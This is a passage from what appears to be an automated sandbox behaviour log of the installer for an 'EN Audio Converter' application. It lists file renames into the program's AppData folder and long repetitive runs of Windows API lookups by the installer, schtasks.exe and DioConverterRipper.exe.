Converter\is-IVAQ3.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\BurnCoreData.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-M7P6N.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\BurnDVDFolder.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-GAPV1.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\BurnKernel.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-9N1MP.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\BurnKernel.dll.intermediate.manifest (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-1C44R.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\CDDB.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-QC2VF.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\ckbtn.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-FP29R.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\devmmc.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-J90NT.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\devmmc.dll.intermediate.manifest (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-V6A1E.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\DVDAudioRip.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-77M1C.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\DVDRead.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-VHDIC.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\EraseCD.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-A9KTH.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\EraseDisc.dll (UID: 00000000-00005244)2f:T79f3,"file.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter SetDllDirectoryW (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter SetSearchPathMode (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter SetProcessDEPPolicy (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00000824) "file.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00000824) "file.tmp" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SetDllDirectoryW (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SetSearchPathMode (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SetProcessDEPPolicy (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter DrawThemeText (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeBackgroundContentRect (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemePartSize (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeTextExtent (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeTextMetrics (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeBackgroundRegion (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter HitTestThemeBackground (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter DrawThemeEdge (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter DrawThemeIcon (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter IsThemePartDefined (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter IsThemeBackgroundPartiallyTransparent (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeColor (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeMetric (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeString (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeInt (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeEnumValue (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemePosition (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeFont (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeRect (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeMargins (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeIntList (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemePropertyOrigin (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SetWindowTheme (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeFilename (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeSysColor (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeSysColorBrush (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeSysBool (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeSysSize (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeSysFont (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeSysString (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeSysInt (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter IsThemeActive (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetWindowTheme (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter EnableThemeDialogTexture (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter IsThemeDialogTextureEnabled (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeAppProperties (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SetThemeAppProperties (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetCurrentThemeName (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetThemeDocumentationProperty (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter DrawThemeParentBackground (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter EnableTheming (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter NotifyWinEvent (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SHCreateItemFromParsingName (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SHPathPrepareForWriteA (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter VerSetConditionMask (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter VerifyVersionInfoW (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetSystemWow64DirectoryA (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter RegDeleteKeyExA (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter DisableProcessWindowsGhosting (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter ShutdownBlockReasonDestroy (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter ShutdownBlockReasonCreate (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SHGetFolderPathA (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter ISCryptGetVersion (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter ArcFourInit (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter ArcFourCrypt (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter RmStartSession (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter RmRegisterResources (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter RmGetList (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter RmShutdown (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter RmRestart (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter RmEndSession (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter WNetCloseEnum (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter ChangeWindowMessageFilterEx (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter MonitorFromRect (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter GetMonitorInfoA (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SHAutoComplete (UID: 00000000-00005244) "file.tmp" called "GetProcAddress" with a parameter SfcIsFileProtected (UID: 00000000-00005244) "schtasks.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006584) "schtasks.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006584) "DioConverterRipper.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter _create_locale (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter _free_locale (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter _wcstod_l (UID: 00000000-00002852) "DioConverterRipper.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter 